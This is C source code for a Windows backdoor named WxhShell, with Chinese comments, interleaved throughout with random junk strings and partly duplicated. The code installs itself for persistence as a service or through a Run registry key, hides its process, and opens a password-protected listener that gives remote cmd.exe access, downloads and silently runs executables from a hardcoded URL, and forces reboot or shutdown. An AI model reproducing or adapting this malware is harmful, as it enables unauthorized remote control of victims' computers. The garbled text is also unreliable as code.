c2M PROCESS_BASIC_INFORMATION pbi; {&IB[Y6 ;98b SR/ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o&E8<e if(NULL == hInst ) return 0; eb\S pdM6 S7f.^8 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e>Z&0lV: g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nWIZ0Nde' NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rtJER?A Y|fD)zG_ if (!NtQueryInformationProcess) return 0;
w_Slg&S )0exGx+: hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'lA}E if(!hProcess) return 0; oR2?$KF {k_\1t(/ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `K.C>68 x'x5tg CloseHandle(hProcess); xj>P5\mW# fe/;U=te hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .b3h?R*& if(hProcess==NULL) return 0; JVX)>2&$
h{^v756L HMODULE hMod; )4=86>XJT char procName[255]; 9,INyEyAL unsigned long cbNeeded; B\RAX# Zpkd8@g@ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =eU=\td^ vY m:V:7Y2 CloseHandle(hProcess); "@eGgQ I 0~'z f if(strstr(procName,"services")) return 1; // 以服务启动 .h=n [`RB 1Z< ^8L< return 0; // 注册表启动 8>eYM } uS`} O>]i? // 主模块 BJux5Nh int StartWxhshell(LPSTR lpCmdLine) r{R<J?Y { );d 07\V SOCKET wsl; ay7\Ae] BOOL val=TRUE;
)Ri! int port=0; Lxp}o7>K struct sockaddr_in door; zK5&,/ ,6;n[p"h|r if(wscfg.ws_autoins) Install(); *pwkv7Zh gvuv>A}vJ port=atoi(lpCmdLine); %(W&(eN 8)1q,[:M if(port<=0) port=wscfg.ws_port; {k3ItGQ_ =m2_:&@0x WSADATA data; W:RjWn @< if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2~$S @c ),p0V
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; M/p9 I
gp setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?0/$RpFEM# door.sin_family = AF_INET; ~ps,U door.sin_addr.s_addr = inet_addr("127.0.0.1"); O]PM L` door.sin_port = htons(port); Q&]|W
Xv w/*G!o-< if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { toPbFU' closesocket(wsl); #s~;ss , return 1; #]jl{K\f#X } ,6{z MWv@]P_0p! if(listen(wsl,2) == INVALID_SOCKET) { 7(+4^ closesocket(wsl); 'Eur[~k return 1; ev;&n@k_I } `#ruZM066 Wxhshell(wsl); D ;> 7y}\ WSACleanup(); 'z8FU~oU t,fec>. return 0; 6AJk6W^Z dBd7#V:}yV } )ovAG O RlL]p`g // 以NT服务方式启动 l'(FM^8jv VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [y9a.*]u/@ { ~ZVz
sNrx DWORD status = 0; (BLxK)0<" DWORD specificError = 0xfffffff; vd lss| DSwb8q serviceStatus.dwServiceType = SERVICE_WIN32; X=whZ\EZ serviceStatus.dwCurrentState = SERVICE_START_PENDING; AE77i,Xa serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _l7_!Il_ serviceStatus.dwWin32ExitCode = 0; `Jc/ o=] serviceStatus.dwServiceSpecificExitCode = 0; ?2&= +QaT serviceStatus.dwCheckPoint = 0; lZ-U/$od serviceStatus.dwWaitHint = 0; S3Y.+. 0U GmR3
a hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nnj<k5 if (hServiceStatusHandle==0) return; H7tviSTd jvB[bS`<H status = GetLastError(); U)8yd,qG[% if (status!=NO_ERROR) $$m0mK { P5?VrZy serviceStatus.dwCurrentState = SERVICE_STOPPED; _ARG
" serviceStatus.dwCheckPoint = 0; BFW b0;+ serviceStatus.dwWaitHint = 0; Qa_V serviceStatus.dwWin32ExitCode = status; g:fvg!_v serviceStatus.dwServiceSpecificExitCode = specificError; R#hy2kA SetServiceStatus(hServiceStatusHandle, &serviceStatus); -NJpql{Cb return; t/;0/ql\ } |qMG@ N~=I))i serviceStatus.dwCurrentState = SERVICE_RUNNING; y-3'qq'E serviceStatus.dwCheckPoint = 0; *Mhirz%iD serviceStatus.dwWaitHint = 0; ~".@mubt1$ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I.3~ctzu } V,rc&97 -E?:W`! // 处理NT服务事件,比如:启动、停止 %FYhq:j VOID WINAPI NTServiceHandler(DWORD fdwControl) 5\pS8<RJ; { Xeq9Vs zg switch(fdwControl) U}jGr=tu { CnB[ImMs(A case SERVICE_CONTROL_STOP: h}@wPP{ serviceStatus.dwWin32ExitCode = 0; YjDQ`f/ serviceStatus.dwCurrentState = SERVICE_STOPPED; SQ,-45@W serviceStatus.dwCheckPoint = 0; -kk7y serviceStatus.dwWaitHint = 0; G~1;_' { T MMKRC1< SetServiceStatus(hServiceStatusHandle, &serviceStatus); !=:>y WQ } \B4H0f return; id:,\iJ case SERVICE_CONTROL_PAUSE: XA!a^@<H serviceStatus.dwCurrentState = SERVICE_PAUSED; 3l?|+sU>O break; AT1cN1:4? case SERVICE_CONTROL_CONTINUE: R/v|ZvI serviceStatus.dwCurrentState = SERVICE_RUNNING; o08g]a break; D@La-K*5 case SERVICE_CONTROL_INTERROGATE: N]
sbI)Z@ break; A8&@Vxdz }; ;=,-C;` SetServiceStatus(hServiceStatusHandle, &serviceStatus); `6VnL) } O z0-cM8t H*N <7# // 标准应用程序主函数 ^!S4?<v int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,pD sU @ { `'s_5Ek D Yf2V6' // 获取操作系统版本
!tTv$L> OsIsNt=GetOsVer();
~frsgHW GetModuleFileName(NULL,ExeFile,MAX_PATH); 68z#9}
}9\_s* // 从命令行安装 mvjx
&+q if(strpbrk(lpCmdLine,"iI")) Install();
<)TIj6 dnLjcHFj& // 下载执行文件 90}vFoy if(wscfg.ws_downexe) { s@{82}f~ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ysOf=~1 WinExec(wscfg.ws_filenam,SW_HIDE); ZFtR#r(~41 } 4N,[Gs<7 *Vl#]81~ if(!OsIsNt) { fsjLD|?|: // 如果时win9x,隐藏进程并且设置为注册表启动 6HCg<_j] HideProc(); q#3T
L< StartWxhshell(lpCmdLine); %J1'>nI!q } # QwX|x{ else GG>53}7{ if(StartFromService()) ^)9/Wz _x // 以服务方式启动 h/tCve3Z StartServiceCtrlDispatcher(DispatchTable); G06;x else nqH[
y0 // 普通方式启动 [UXVL}tk StartWxhshell(lpCmdLine); 2B$dT=G }SWfP5D@ return 0; Sk53Lc } bQ>wyA+G&E %EU_OS(u.{ G@DNV3Cc iqR6z\p& =========================================== FBl,Mky
{ 8 K Z~SAlhT :? B4q#]N *N$XQ{o u;9iuc`* " fh`Y2s|:7R Mk#r_:[BS #include <stdio.h> Mi.2
> #include <string.h> "}_J"% #include <windows.h>
= "]r{ #include <winsock2.h> .<QKQ% - #include <winsvc.h> :.AC%'S #include <urlmon.h> 3Y# c<_1o!68 #pragma comment (lib, "Ws2_32.lib") h
i!K-_Uy #pragma comment (lib, "urlmon.lib") |I1,9ex kKF=%J?X #define MAX_USER 100 // 最大客户端连接数 /b
#w.>e #define BUF_SOCK 200 // sock buffer kI`HD #define KEY_BUFF 255 // 输入 buffer I7Kgi3 -I{op
wd #define REBOOT 0 // 重启 JYNnzgd #define SHUTDOWN 1 // 关机 Y&b Yaq gWHY7rv #define DEF_PORT 5000 // 监听端口 CL2zZk{u_ ?x",VA #define REG_LEN 16 // 注册表键长度 BywEoS #define SVC_LEN 80 // NT服务名长度 pHR`%2!"t \
R}I4' // 从dll定义API $DH/ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U $#^ e typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2#$7!`6K typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
*1v3x:pQ' typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s@~3L -}TP)/!,* // wxhshell配置信息 [cDDZ+6 struct WSCFG { (zsmJe int ws_port; // 监听端口 f
] *w1 char ws_passstr[REG_LEN]; // 口令 @{qcu\sZ int ws_autoins; // 安装标记, 1=yes 0=no H%n/;DW char ws_regname[REG_LEN]; // 注册表键名 j6^.Q/{^ char ws_svcname[REG_LEN]; // 服务名 ^kK")+K char ws_svcdisp[SVC_LEN]; // 服务显示名 pWzYC@_W
char ws_svcdesc[SVC_LEN]; // 服务描述信息 sB:e:PK char ws_passmsg[SVC_LEN]; // 密码输入提示信息 XC6 |<pru int ws_downexe; // 下载执行标记, 1=yes 0=no I;jH'._k# char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" br88b`L char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :@&e~QP( JGq9RB]D$ }; @8J*vY =e G?F!Z"S // default Wxhshell configuration Ke^/aGi}O struct WSCFG wscfg={DEF_PORT, IrRy1][Qr "xuhuanlingzhe", "T /$K 1, y+B iaD!U "Wxhshell", |b@`ykD "Wxhshell", tPiC?=4R "WxhShell Service", v89tV9O) "Wrsky Windows CmdShell Service", "xC$Ko _ "Please Input Your Password: ", 3U?gw!M> 1, W!el[@ "http://www.wrsky.com/wxhshell.exe", G:+D1J] "Wxhshell.exe" 7mnO60Z8N }; S9:ij1 zfUj%N // 消息定义模块 |C./gdq char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; clqFV
char *msg_ws_prompt="\n\r? for help\n\r#>"; q ) 5s'( char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i|H^&$| char *msg_ws_ext="\n\rExit."; ii`,cJl char *msg_ws_end="\n\rQuit."; 'O ~_g5kC char *msg_ws_boot="\n\rReboot..."; -;Mh|!yg char *msg_ws_poff="\n\rShutdown..."; D_F1<q char *msg_ws_down="\n\rSave to "; # .&t'"u 9_*3xu<7i char *msg_ws_err="\n\rErr!"; ~]%re9jGW char *msg_ws_ok="\n\rOK!"; Q%'4jn?H ;YokPiBy char ExeFile[MAX_PATH]; :[?7,/w int nUser = 0; Yc[vH=gV} HANDLE handles[MAX_USER]; p&(z'd int OsIsNt; mtFC H +tkm,>s SERVICE_STATUS serviceStatus; #?M[Q: SERVICE_STATUS_HANDLE hServiceStatusHandle; p/ZgzHyF sn[<Lq // 函数声明 A\/DAVnI int Install(void); Or/YEt} int Uninstall(void); aAu%QRq int DownloadFile(char *sURL, SOCKET wsh); (8S+-k? int Boot(int flag); iU{\a, void HideProc(void); >PWDo int GetOsVer(void); :`yW^b int Wxhshell(SOCKET wsl); !=vsY] void TalkWithClient(void *cs); KdlUa^}D int CmdShell(SOCKET sock); %MtaWZ int StartFromService(void); :q1j?0{2N int StartWxhshell(LPSTR lpCmdLine); !k'E A{{rNbCK VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z~
q="CA4 VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0n{+_
=v !8i // 数据结构和表定义 '&AeOn SERVICE_TABLE_ENTRY DispatchTable[] = V-%jSe< { o9D#d\G {wscfg.ws_svcname, NTServiceMain}, S ="\ S {NULL, NULL} OlW5k`B }; 5?#AS#TD' .Pe^u%J6F // 自我安装 `sdbo](76 int Install(void) U z)G Y { 0rDQJCm char svExeFile[MAX_PATH]; <aMihT)dd HKEY key; a$11u.\q+ strcpy(svExeFile,ExeFile); EffU-=?%! }z-)!8vF // 如果是win9x系统,修改注册表设为自启动 (:#4{C if(!OsIsNt) { W}^>lM\8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sBN4:8 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B`%%,SLJ RegCloseKey(key); oe_,q&e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q`h@-6N RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5zJ#d}%}S" RegCloseKey(key); [HRP&jr return 0; Xs4G#QsAJ } r)w]~)8 } L~M6ca" } }WNgKw else { I}
]s( oM}P Wf- // 如果是NT以上系统,安装为系统服务 )Vy}oFT\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6:bvq?5a5 if (schSCManager!=0) Ga"<qmLMc { Zg;Ht SC_HANDLE schService = CreateService oH
[-fF ( g;nPF*( schSCManager, lgCOp%> wscfg.ws_svcname, OB+I.qlHP wscfg.ws_svcdisp, X 2('@Yh SERVICE_ALL_ACCESS, rI]n4>k{ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mhnK{M @56 SERVICE_AUTO_START, "OKsl2e SERVICE_ERROR_NORMAL, P4"EvdV7 svExeFile, }'TZ)=t{J NULL, TSd;L
u%hr NULL, !B*d,_9c NULL, s9YP
=)I NULL, 9TE-'R@ NULL IPh_QE2g ); FU(s jB if (schService!=0) ~gbq^ { pdR&2fp CloseServiceHandle(schService); L5>.ku=T CloseServiceHandle(schSCManager); ?37Kc,o strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T CO^9RP< strcat(svExeFile,wscfg.ws_svcname); "(y| iS$^T if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A!5)$>!o RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5zII4ukn* RegCloseKey(key); b"#|0d0 return 0; )x&}{k6 % } e0u*\b } N|WR^MQD CloseServiceHandle(schSCManager); Y]1b39O } RiAY>: } 3Q(#2tL= rsvGf7C return 1; k*xgF[T
8 } "^@0zy@x 4#@zn 2l // 自我卸载 uYwJ[1C int Uninstall(void) A&QO]8 { 1=%\4\ HKEY key; -J*jW
N! VFwp .1oa! if(!OsIsNt) { owc#RW9 7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;GxKPy RegDeleteValue(key,wscfg.ws_regname); '=vD!6=0@ RegCloseKey(key);
liq9P,( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'Sjcm@ILm RegDeleteValue(key,wscfg.ws_regname); ~I)\d/7o RegCloseKey(key); cw{[% 7 return 0; $q;dsW,8 }
t@EHhiBz } 8CKI9 } 7[W!Nx else { Rm!Iv&{ ~nG?> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {__"Z< if (schSCManager!=0) ]`Y;4XR { :X;'37o#q SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K%A:W if (schService!=0) %t^-Guz { $u./%JS if(DeleteService(schService)!=0) { OL|UOG CloseServiceHandle(schService); d^WEfH CloseServiceHandle(schSCManager); NrdbXPHceN return 0; <ibEo98 } L?e N(L CloseServiceHandle(schService); %<w)#eV? } m [FH> CloseServiceHandle(schSCManager); Yl#r9TM } EBN'u&zX } @(:M?AO9S. mmG+"g$| return 1; }l>0m } 1x#Z}XG hqVFb.6[ // 从指定url下载文件 {?' DZR s int DownloadFile(char *sURL, SOCKET wsh) e " f/ { t)O$W HRESULT hr; D
f H>UA char seps[]= "/"; U_HOfix char *token; bm_'giQ: char *file; |%R}!O<.c char myURL[MAX_PATH]; i`R}IP?71 char myFILE[MAX_PATH]; 0XBv8fg +AyrKs?h strcpy(myURL,sURL); 257pO9] token=strtok(myURL,seps); gzthM8A while(token!=NULL) dk9'C { }Q?,O file=token; @e_ bG@ token=strtok(NULL,seps); j\D_Z{m2 } T8,?\7)S9 /MB3w m GetCurrentDirectory(MAX_PATH,myFILE); O!(M:. strcat(myFILE, "\\"); ee.#Vhz strcat(myFILE, file); !>{`o/dZ send(wsh,myFILE,strlen(myFILE),0); $ Aw"?&d" send(wsh,"...",3,0); E
hROd hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Oozt&* F if(hr==S_OK) YULI
y-W return 0; `)5E_E3 else 0m^(|=N- return 1; ) )q4Rh MV<2x7S } 1>1&NQ#} Gvk)H$ni // 系统电源模块 -#
[=1Y int Boot(int flag) 9"3 7va { K"O+`2$ HANDLE hToken; OsMU>v }m TOKEN_PRIVILEGES tkp; ]CD ua%$r[ if(OsIsNt) { LwV4p6A OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); j>(O1z7 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )
N*,cTE tkp.PrivilegeCount = 1; 0L_JP9e tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O9#8%p%
) AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _s/5oRHA if(flag==REBOOT) { G'oMZb ({= if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) x roo_ return 0; `;yfSoY } ;N4A9/) else { iX]Vkx if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A~_*vcz return 0; "&s9;_9 } ]3xb Q1 } (*>%^ C? else { x$o?ckyH if(flag==REBOOT) { G=R`O1-3 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~ [k0ay return 0; 88]V6Rm9[* } gJE m else { J3OxM--8" if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1&JPyW return 0; SW!lSIk } ToWiXH)4 } @kCFc} 5hN`}Ve return 1; Ib(q9!L } +>b~nK>M DlHt#Ob7 // win9x进程隐藏模块 W_:3Sj l' void HideProc(void) i^9 ,. $<1 { =]k0*\PS >?/Pl"{b HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cn62:p]5 if ( hKernel != NULL ) m5c?A+@fZ { %~eIx=s pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); TUw+A6u:p ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -?_#Yttu FreeLibrary(hKernel); AI{Tw>hZ } ;m<22@,E& d<{>& return; {t<E*5N]a } ^O#>LbM"x M3m!u[6| // 获取操作系统版本 v?Z30?_&h int GetOsVer(void) 0!<qfT
a { TR;" &'#k OSVERSIONINFO winfo; or~2r8 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); LhN?j5XqM GetVersionEx(&winfo); 3q'["SS if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *$K_Tii return 1; h$p]M^Z7 else ,E8:!r)6 return 0; T?vM\o%i3 } UoAHy%Y<% ZqtL4M~9 // 客户端句柄模块 ?VUU[h8"v5 int Wxhshell(SOCKET wsl) k!?sHUAj { d}@b 3 SOCKET wsh; @|AHTf! struct sockaddr_in client; - BQoNEh DWORD myID; Rcg q7W [{iPosQWj while(nUser<MAX_USER) {)V!wSi { 8DAHaS; int nSize=sizeof(client); LqNt.d @ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oeV.K. if(wsh==INVALID_SOCKET) return 1; 63'Rw'g^|2 j) G<PW handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lZ5LHUzP if(handles[nUser]==0) k }amSsE closesocket(wsh); f4%Z~3P else JXFPN| nUser++; >A5*=@7bY? } 0R2KI,WI WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |/^ KFY" +2:\oy}!8 return 0; 'e&L53n } w)C/EHF @c;XwU]2t // 关闭 socket 0m2%ucKw void CloseIt(SOCKET wsh) {5 V@O_*{ { |7Dc7p"D closesocket(wsh); v2w|?26Lf nUser--; bVLBqa= ExitThread(0); 5 [GdFd>{ } JM&`&fsOC{ o >wty3l: // 客户端请求句柄 A9 *P7 void TalkWithClient(void *cs) ]rNM3@bVy {
2:5Go FIMM\W
SOCKET wsh=(SOCKET)cs; +56N}MAs char pwd[SVC_LEN]; -!@]z2uU char cmd[KEY_BUFF]; p!oO}gE char chr[1]; 0P_=Oy"l- int i,j; .(J~:U 7)RDu,fx while (nUser < MAX_USER) { \wZ
4enm ~,^pya if(wscfg.ws_passstr) { YCPU84f if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hwx1 fpo4 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SEKR`2Zz, //ZeroMemory(pwd,KEY_BUFF); LZ=E i=0; NqlU? while(i<SVC_LEN) { /Fr*k5I Ez1-Nx // 设置超时 ylGT9G19 fd_set FdRead; 3VZ}5 struct timeval TimeOut; 14~#k%zO( FD_ZERO(&FdRead); j.]ln}b/'+ FD_SET(wsh,&FdRead); AU$<W"%R TimeOut.tv_sec=8; tDC?St1 TimeOut.tv_usec=0; at|.Q*&a# int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pyw]ydB if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (G6lr%d V7 OhOLK8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iv!; gMco pwd=chr[0]; +X%pUe if(chr[0]==0xd || chr[0]==0xa) {
l;;,[xhq pwd=0; :Bh7mF-1 break; QBYY1)6S, } 1La?x'{2MP i++; V3S"LJ } uQhI) `uwSxt // 如果是非法用户,关闭 socket 1b=,lm if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 49o /S2b4z } ul-O3]\'@ lRANXM send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /Moyn"Kj{ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v) j3YhY N,bH@Q.Ci while(1) { Hg~8Td** >qy$W4 ZeroMemory(cmd,KEY_BUFF); j'uzjs[ qV#,]mX // 自动支持客户端 telnet标准 cy64xR BB j=0; Qef5eih while(j<KEY_BUFF) { 6ys|'<? if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6vfut$)[{ cmd[j]=chr[0]; {1"kZL if(chr[0]==0xa || chr[0]==0xd) { u0Bz]Ux/Q cmd[j]=0; pzT,fmfk break;
s?JOGu } csFLBP j++; %N#A1 } 1f+z[ad&^ no$X0ia // 下载文件 ^\oMsU5( if(strstr(cmd,"http://")) { &s8vmUt send(wsh,msg_ws_down,strlen(msg_ws_down),0); D!DL6l` if(DownloadFile(cmd,wsh)) P(bds send(wsh,msg_ws_err,strlen(msg_ws_err),0); kmg/hNtN else \IhHbcF`d send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;uho.)%N`F } vkLKzsN' ] else { ok1w4#%, _G$21=
switch(cmd[0]) { J1R5_b 2"QcjFW% // 帮助 }vb.>hy case '?': { z%;_h- send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lMmP]{.>$ break; C';Dc4j } 2c'<rkA // 安装 *&z!y/ case 'i': { RGLJaEl ! if(Install()) 7sU+:a send(wsh,msg_ws_err,strlen(msg_ws_err),0); qL?$u07<9' else FMtg7+Q|> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C1uV7t*\ break; t=\
ffpA } Mn 8|
Knh // 卸载 9JqT"zj case 'r': { ]*X z~Ox2 if(Uninstall()) x9o(q`N send(wsh,msg_ws_err,strlen(msg_ws_err),0); *^iSP(dg else Xb~i?T;f send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?jU 3%" break; OWp`Wat } E&ReQgBft // 显示 wxhshell 所在路径 .:t&LC][ case 'p': { R_=fH\c; char svExeFile[MAX_PATH]; _ mgu
r strcpy(svExeFile,"\n\r"); EeQ2\'t strcat(svExeFile,ExeFile); CHVAs9mrNB send(wsh,svExeFile,strlen(svExeFile),0); [4Q;5 'Dj break; OGcW]i } BQ=JZ4& // 重启 t:P]G>)x| case 'b': { f.c2AY~5[ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B@ >t$jK if(Boot(REBOOT)) A>frf[fAW send(wsh,msg_ws_err,strlen(msg_ws_err),0); *|^||
bd else { T3Sz<K$E closesocket(wsh); pI1g<pe ExitThread(0); !ZM*)6^ } zhe~kI break; g77 :92 } },;Z<( // 关机 [M#(su0fv case 'd': { )=!|^M send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g)}q3-<AK> if(Boot(SHUTDOWN)) hGI5^!Cq send(wsh,msg_ws_err,strlen(msg_ws_err),0); k_nQmU> else { \' &,9lP closesocket(wsh); R*H-QH/H1 ExitThread(0); &srD7v9M8 } "g/UpnH break; " eS-i@ } %"e hZd0r // 获取shell lpjby[S case 's': { k&:~l@?O CmdShell(wsh); @W=:r/ closesocket(wsh); I5]58Ohx ExitThread(0); \0)2 u[7 break; }+giQw4 } ;<=z^1X9 // 退出 1I%niQv5t case 'x': { L+lX$k send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); HP=5a. CloseIt(wsh); YXg^t$ break; !{ !(yP_ } PB#EU9 // 离开 U^Iq]L case 'q': { Y2|c;1~5$ send(wsh,msg_ws_end,strlen(msg_ws_end),0); sfp.> bMj closesocket(wsh); 9Qq%Fw_ WSACleanup(); pS8`OBenA exit(1); ;,Os3 break; "2:#bXM- } q8&^E.K } E?jb? } 8\bZ?n#dn N.vkM`Z // 提示信息 A{wk$`vH if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >+%p}l:<\ } WV;[v g] } p3B_NsXVZ
UoJMOw[ return; PI)uBA; } %htbEKWR <U}25AR // shell模块句柄 :eBp`dmn int CmdShell(SOCKET sock) \wp8kSzC { } 7i}dyQv} STARTUPINFO si; k~]\kv= ZeroMemory(&si,sizeof(si)); 3=_to7] si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [bEm D si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0C717 PROCESS_INFORMATION ProcessInfo; rUmnv%qTS char cmdline[]="cmd"; ^ lG^. CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _:Ov-HIR return 0; 0Hr)h{!F" } Oe0dC9H LufZ, // 自身启动模式 OQ _wsAA int StartFromService(void) 3ZqtIQY` { <7oZV^nd * typedef struct 8u Z4[ { nN(Q}bF DWORD ExitStatus; ;zo?o t/ DWORD PebBaseAddress; HqA3.<=F, DWORD AffinityMask; ?e23[ DWORD BasePriority; 9!wm`'G8 ULONG UniqueProcessId; ,]=Qgn ULONG InheritedFromUniqueProcessId;
&_Z8:5e } PROCESS_BASIC_INFORMATION; #Y>d@ :LB< z#M PROCNTQSIP NtQueryInformationProcess; e0<L^|S Q?Uk%t\hwc static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [~ |e: static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ay\!ohIS3 Mp^U)S+ HANDLE hProcess; nHB`<B PROCESS_BASIC_INFORMATION pbi; yXA]E.K! "#`c\JuR] HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }q~xr3# if(NULL == hInst ) return 0; MP`WU} 2 _ 3>|1RB g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $]iRfXv,l! g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); XXZ$^W& NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~{s7(^ P I[ I]C9D if (!NtQueryInformationProcess) return 0; zyFbu=d|O: 7033#@_ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s}":lXkrw if(!hProcess) return 0; mQt?d?6 A\<WnG>xjP if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *!+?%e{;b 0 }aw9g CloseHandle(hProcess); +luW=j0V 5$f*fMd; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^
